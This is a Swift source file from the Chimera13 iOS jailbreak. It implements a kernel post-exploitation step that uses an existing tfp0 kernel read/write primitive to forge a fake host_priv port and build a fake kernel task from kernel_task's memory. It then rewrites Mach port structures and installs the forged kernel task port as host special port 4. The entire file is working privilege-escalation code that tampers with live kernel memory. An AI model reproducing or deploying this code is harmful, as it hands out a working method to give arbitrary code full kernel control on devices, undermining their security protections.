//
//  sethsp4.swift
//  Chimera13
//
//  Created by CoolStar on 4/2/20.
//  Copyright © 2020 coolstar. All rights reserved.
//

import Foundation

class SetHSP4 {
    let offsets = Offsets.shared
    
    private let IO_ACTIVE = UInt32(0x80000000)
    
    private let IKOT_TASK = UInt32(2)
    private let IKOT_HOST_PRIV = UInt32(4)
    
    private let IOT_PORT = UInt32(0)
    
    private var fake_host_priv_port = mach_port_t(MACH_PORT_NULL)
    
    let IE_BITS_SEND = UInt32(1<<16)
    let IE_BITS_RECEIVE = UInt32(1<<17)
    
    private let tfp0: mach_port_t
    private let our_task: UInt64
    
    private func fake_host_priv() -> mach_port_t {
        if fake_host_priv_port != MACH_PORT_NULL {
            return fake_host_priv_port
        }
        
        let hostport_addr = find_port(mach_host_self())
        let realhost = rk64(hostport_addr + offsets.ipc_port.ip_kobject)
        
        let err = mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &fake_host_priv_port)
        guard err == KERN_SUCCESS else {
            print("failed to allocate port")
            return mach_port_t(MACH_PORT_NULL)
        }
        
        mach_port_insert_right(mach_task_self_, fake_host_priv_port, fake_host_priv_port, mach_msg_type_name_t(MACH_MSG_TYPE_MAKE_SEND))
        
        let port_addr = find_port(fake_host_priv_port)
        wk32(port_addr + offsets.ipc_port.io_bits, IO_ACTIVE | IKOT_HOST_PRIV)
        
        let ipc_space_kernel = rk64(find_port(mach_task_self_) + offsets.ipc_port.ip_receiver)
        wk64(port_addr + offsets.ipc_port.ip_receiver, ipc_space_kernel)
        wk64(port_addr + offsets.ipc_port.ip_kobject, realhost)
        
        return fake_host_priv_port
    }
    
    private func kalloc_wired(size: UInt) -> UInt64 {
        let ksize = (size & ~vm_kernel_page_mask) + vm_kernel_page_mask
        
        var addr = kalloc(ksize + 0x4000)
        addr += 0x3fff
        addr &= ~UInt64(0x3fff)
        
        let err = mach_vm_wire(fake_host_priv(), tfp0, addr, mach_vm_size_t(ksize), VM_PROT_READ | VM_PROT_WRITE)
        if err != KERN_SUCCESS {
            print(String(format: "unable to wire memory via tfp0: %s", mach_error_string(err)))
            sleep(3)
        }
        return addr
    }
    
    private func make_fake_task(vm_map: UInt64) -> UInt64 {
        var fake_task = kalloc_wired(size: 0x1000)
        var objType = UInt16(isArm64e() ? 57 : 58) //zone_require
        kwrite(fake_task + 0x16, &objType, 2)
        
        fake_task += 0x100
        wk32(fake_task + offsets.task.ref_count, 0xd00d) //leak refrerences
        wk32(fake_task + offsets.task.active, 1)
        wk64(fake_task + offsets.task.vm_map, vm_map)
        
        var mtx = UInt8(0x22)
        kwrite(fake_task + offsets.task.lck_mtx_type, &mtx, 1)
        kwrite(fake_task + offsets.task.itk_lck_mtx_type, &mtx, 1)
        return fake_task
    }
    
    private func convert_port_to_task_port(port: mach_port_t, task_kaddr: UInt64) {
        let port_kaddr = find_port(port)
        let space = rk64(find_port(mach_task_self_) + offsets.ipc_port.ip_receiver)
        
        wk32(port_kaddr + offsets.ipc_port.io_bits, IO_ACTIVE | IKOT_TASK)
        wk32(port_kaddr + offsets.ipc_port.io_references, 0xf00d)
        wk32(port_kaddr + offsets.ipc_port.ip_srights, 0xf00d)
        wk64(port_kaddr + offsets.ipc_port.ip_receiver, space)
        wk64(port_kaddr + offsets.ipc_port.ip_kobject, task_kaddr)
        
        //swap our receive right for a send right
        let task_addr = our_task
        let itk_space = rk64(task_addr + offsets.task.itk_space)
        let is_table = rk64(itk_space + offsets.ipc_space.is_table)
        
        let port_index = UInt32(port) >> 8
        let sizeof_ipc_entry_t = UInt32(0x18)
        
        let bits_addr = is_table + UInt64(port_index * sizeof_ipc_entry_t) + 8
        var bits = rk32(bits_addr) //8 = offset of ie_bits in struct ipc_entry
        
        bits &= (~IE_BITS_RECEIVE)
        bits |= IE_BITS_SEND
        
        wk32(bits_addr, bits)
    }
    
    init(tfp0: mach_port_t, slide: UInt64, kernel_proc: UInt64, our_proc: UInt64) {
        self.tfp0 = tfp0
        our_task = rk64(our_proc + offsets.proc.task)
        
        let kernel_task = rk64(kernel_proc + offsets.proc.task)
        let kernel_map = rk64(kernel_task + offsets.task.vm_map)
        
        var new_port = mach_port_t(MACH_PORT_NULL)
        
        let ret = mach_port_allocate(mach_task_self_, MACH_PORT_RIGHT_RECEIVE, &new_port)
        if ret != KERN_SUCCESS {
            print(String(format: "[hsp4] Unable to allocate port... %s", mach_error_string(ret) ?? ""))
        }
        
        let km_fake_task_kptr = make_fake_task(vm_map: kernel_map)
        var buf = [UInt8](repeating: 0, count: 0xf00)
        kread(kernel_task, &buf, 0xf00)
        kwrite(km_fake_task_kptr, &buf, 0xf00)
        
        var mtx = UInt8(0x22)
        wk64(km_fake_task_kptr + offsets.task.lck, 0)
        wk64(km_fake_task_kptr + offsets.task.lck + 8, 0)
        
        wk64(km_fake_task_kptr + offsets.task.itk_lck, 0)
        wk64(km_fake_task_kptr + offsets.task.itk_lck + 8, 0)
        
        kwrite(km_fake_task_kptr + offsets.task.lck_mtx_type, &mtx, 1)
        kwrite(km_fake_task_kptr + offsets.task.itk_lck_mtx_type, &mtx, 1)
        
        convert_port_to_task_port(port: new_port, task_kaddr: km_fake_task_kptr)
        
        let port_kaddr = find_port(new_port)
        
        let host_priv_kaddr = find_port(mach_host_self())
        let realhost_kaddr = rk64(host_priv_kaddr + offsets.ipc_port.ip_kobject)
        wk64(realhost_kaddr + offsets.host.special + UInt64(4 * MemoryLayout<UInt64>.size), port_kaddr)
        print("[hsp4] successfully set hsp4")
    }
}
